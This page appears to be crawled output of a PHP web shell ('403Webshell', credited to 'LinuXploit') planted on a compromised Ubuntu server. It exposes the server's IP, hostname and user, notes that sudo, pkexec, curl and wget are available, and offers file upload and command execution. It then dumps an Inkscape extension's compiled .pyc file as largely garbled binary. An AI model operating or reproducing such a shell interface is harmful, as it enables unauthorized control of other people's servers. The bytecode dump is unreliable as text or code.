403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/path_mesh_m2p.cpython-310.pyc
o

0�aX4�@s�dZddlZddlmZdZddgZdd	d
�Zdd�Zd
d�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�ZGdd�dej�ZedkrKe���dSdS)z
Convert mesh gradient to path
�N)�MeshGradientg����MbP?�fill�stroke��&�.>�cCs(t||�t|tt|�t|��|�kS)z�Test approximate equality.

    ref:
        PEP 485 -- A Function for testing approximate equality
        https://www.python.org/dev/peps/pep-0485/#proposed-implementation
    )�abs�max)�a�b�rel_tol�abs_tol�r
�//usr/share/inkscape/extensions/path_mesh_m2p.py�isclose!s(rcCs2g}t|�D]}dd�t|�D�}|�|�q|S)zReverse path in CSP notation.cSsg|]}tt|���qSr
)�list�reversed)�.0�cpr
r
r�
<listcomp>0sz reverse_path.<locals>.<listcomp>)r�append)�csp�rcsp�subpath�rsubr
r
r�reverse_path,s
rcCs�||dd}||dd}t|d|dt�rAt|d|dt�rA||dd||dd<||�||dd��|S|�||�|S)zJoin sub-paths *sp1* and *sp2*.����r�N)r�EPSILON�extendr)�csp1�sp1�csp2�sp2�pt1�pt2r
r
r�	join_path5s��r&cCs
|�d�S)z1Check whether attribute value is linked resource.zurl(#)�
startswith)�valr
r
r�is_urlCs
r)c	s�t|�}t|d��t|�dd��}t|�dd��}�fdd�t|d�D�}||g|dd<g}t|�D]�}t��D]�}|dkrG|||}|dkrS|||d}dj|�}	|||D]}
d	�|	|
�d
�g�}	q^t�|	���}|dkr�|ddd|||d<|ddd||d|d<|dkr�|ddd||d|<|dkr�|ddd|||d<|ddd||d|d<|dkr�|ddd||d|<|�	|�q;q5||fS)
z/Return list of mesh patch corners, patch paths.r�xz0.0�ycs"g|]
}dd�t�d�D��qS)cS�g|]}d�qS�Nr
�r�_r
r
rrP�z+mesh_corners.<locals>.<listcomp>.<listcomp>r��ranger.��colsr
rrPs"z mesh_corners.<locals>.<listcomp>r�M {},{}� �pathr�)
�len�float�getr2�format�join�inkex�Path�to_superpathr)�meshgradient�rows�corner_x�corner_y�corners�meshpatch_csps�meshrow�	meshpatch�first_cornerr7�edgerr
r3r�mesh_cornersHs<
  �rKcs�t|��t|d���fdd�t�d�D�}�fdd�t�d�D�}t��D]�}t��D]�}|dkrX|||d}|�d�|||<|||d}|�d�||d|<|dkro|||d}|�d�||d|<|dkr�|||d}|�d�||d|<|dkr�|||d}|�d�|||<|dkr�|||d}|�d�||d|<|dkr�|||d}|�d�|||<q.q(||fS)	z4Return lists of vertical and horizontal patch edges.rc�g|]}dd�t��D��qS)cSr,r-r
r.r
r
rrtr0�+mesh_hvlines.<locals>.<listcomp>.<listcomp>r1r.r3r
rrt�z mesh_hvlines.<locals>.<listcomp>rcrL)cSr,r-r
r.r
r
rrur0rMr1r.)rBr
rrurNr7rr8)r9r2r;)rA�hlines�vlinesrGrHrJr
)r4rBr�mesh_hvlinesos:��rQcCs�g}dj|dd�}|dD]	}d�||g�}q|dD]	}d�||g�}qt|d�D]	}d�||g�}q-t|d�D]	}d�||g�}q=|�t�|����|S)z#Construct mesh outline as CSP path.r5rr6r)r<r=rrr>r?r@)rErOrP�outline_cspsr7�	edge_pathr
r
r�mesh_to_outline�srTc
Cs\t|�d}t|d�d}g}dj|dd�}|dD]	}d�||g�}q|�t�|����td|d�D]%}dj||d�}t||�D]	}d�||g�}qI|�t�|����q8dj|dd�}t|d�D]	}d�||g�}qm|�t�|����td|d�D]#}	dj|d|	�}||	D]	}d�||g�}q�|�t�|����q�|S)z#Construct mesh grid with CSP paths.rrr5r6r)	r9r<r=rr>r?r@r2r)
rErOrPrBr4�
gridline_cspsr7rS�i�jr
r
r�mesh_to_grid�s,rXc	Cst|�d}t|d�d}g}t|�D]�}t|�D]�}g}|||}	||d|}
|||}||d|}|dkr[dj|||�}
d�|
|	g�}
|�t�|
���d�n dj|||d�}
d�|
|	g�}
|�tt�|
����d�dj|||d�}
d�|
|g�}
t	|dt�|
���d�dj||d|d�}
d�|
|
g�}
t	|dt�|
���d�|dkr�dj||d|�}
d�|
|g�}
t	|dt�|
���d�ndj|||�}
d�|
|g�}
t	|dtt�|
����d�|�|�qq|S)z$Construct mesh faces with CSP paths.rrr5r6r)
r9r2r<r=rr>r?r@rr&)rErOrPrBr4�	face_csps�row�col�face�edge_t�edge_b�edge_l�edge_rr7r
r
r�
mesh_to_faces�sB�$rac@sNeZdZdZdd�Zddd�Zddd�Zd	d
�Zdd�Zddd�Z	dd�Z
d
S)�
MeshToPathz7Effect extension to convert mesh geometry to path data.cCs"|jddd�|jdddd�dS)Nz--tabzThe selected UI-tab)�helpz--mode�outlinez	Edge mode)�defaultrc)�add_argument)�self�parsr
r
r�
add_arguments�szMeshToPath.add_argumentsrAcCsRg}|��D] \}}|tvr&t|�r&|j�|�}|dkr&t|t�r&|�|�q|S)z/Process style properties of style dict *mdict*.rA)�items�MG_PROPSr)�svg�getElementById�
isinstancerr)rg�mdict�res_type�result�keyr(�paint_serverr
r
r�
process_props�s
�zMeshToPath.process_propscCs8g}t|j�}|�|�||��|�|�|j|��|S)zProcess style of *node*.)�dict�attribrrt�style)rg�noderprq�adictr
r
r�
process_style�s

zMeshToPath.process_stylecCs|j|dd�S)z8Parse node style, return list with linked meshgradients.rA)rp)rz)rgrxr
r
r�find_meshgradientsszMeshToPath.find_meshgradientsc	Cs�d}|jj}|�dd�}|dkrdS|j|j}t|�\}}|dkr&||fSt|�\}}|dkr8t|||�|fS|dkrDt|||�|fS|dkrPt	|||�|fSdS)z2Parse mesh geometry and build csp-based path data.N�
gradientUnits�objectBoundingBox�meshpatchesrd�	gridlines�faces)
�options�moder;�gradientTransform�	transformrKrQrTrXra)	rgrAr�r��
mesh_unitsrErFrOrPr
r
r�mesh_to_csps"�zMeshToPath.mesh_to_cspNc
Cs�|j�d�}d}d|t|�d�}t��}||j|_|D]7}|�t���}	||	_t�	|�|	_
|jjdkr:|	j
�
�q|jjdkrSt|�dkrSt|d�d	krS|	j
�
�q|S)
z<Create new paths based on csp data, return group with paths.�1pxz#000000�none)rrzstroke-widthrdr�rr�)rl�unittouu�strr>�Groupr��add�PathElementrw�CubicSuperPathr7r�r��closer9)
rgrx�csp_listr��stroke_width�stroke_colorrw�groupr�elemr
r
r�csp_to_path,s&�
�zMeshToPath.csp_to_pathcCs�|jj��D]=}|�|�}|rC|D]1}d}d}|dur"|�|�\}}|dur-|�|||�}|durB|���|�}|���|d|�qqdS)z3Main routine to convert mesh geometry to path data.Nr)	rl�selected�valuesr{r�r��	getparent�index�insert)rgrx�
meshgradientsrAr�rq�matr�r
r
r�effectGs
��zMeshToPath.effect)rAr-)�__name__�
__module__�__qualname__�__doc__rirtrzr{r�r�r�r
r
r
rrb�s


 rb�__main__)rr)r�r>�inkex.elementsrrrkrrr&r)rKrQrTrXra�EffectExtensionrbr��runr
r
r
r�<module>s(�
	'"-s�

Youez - 2016 - github.com/yon3zu
LinuXploit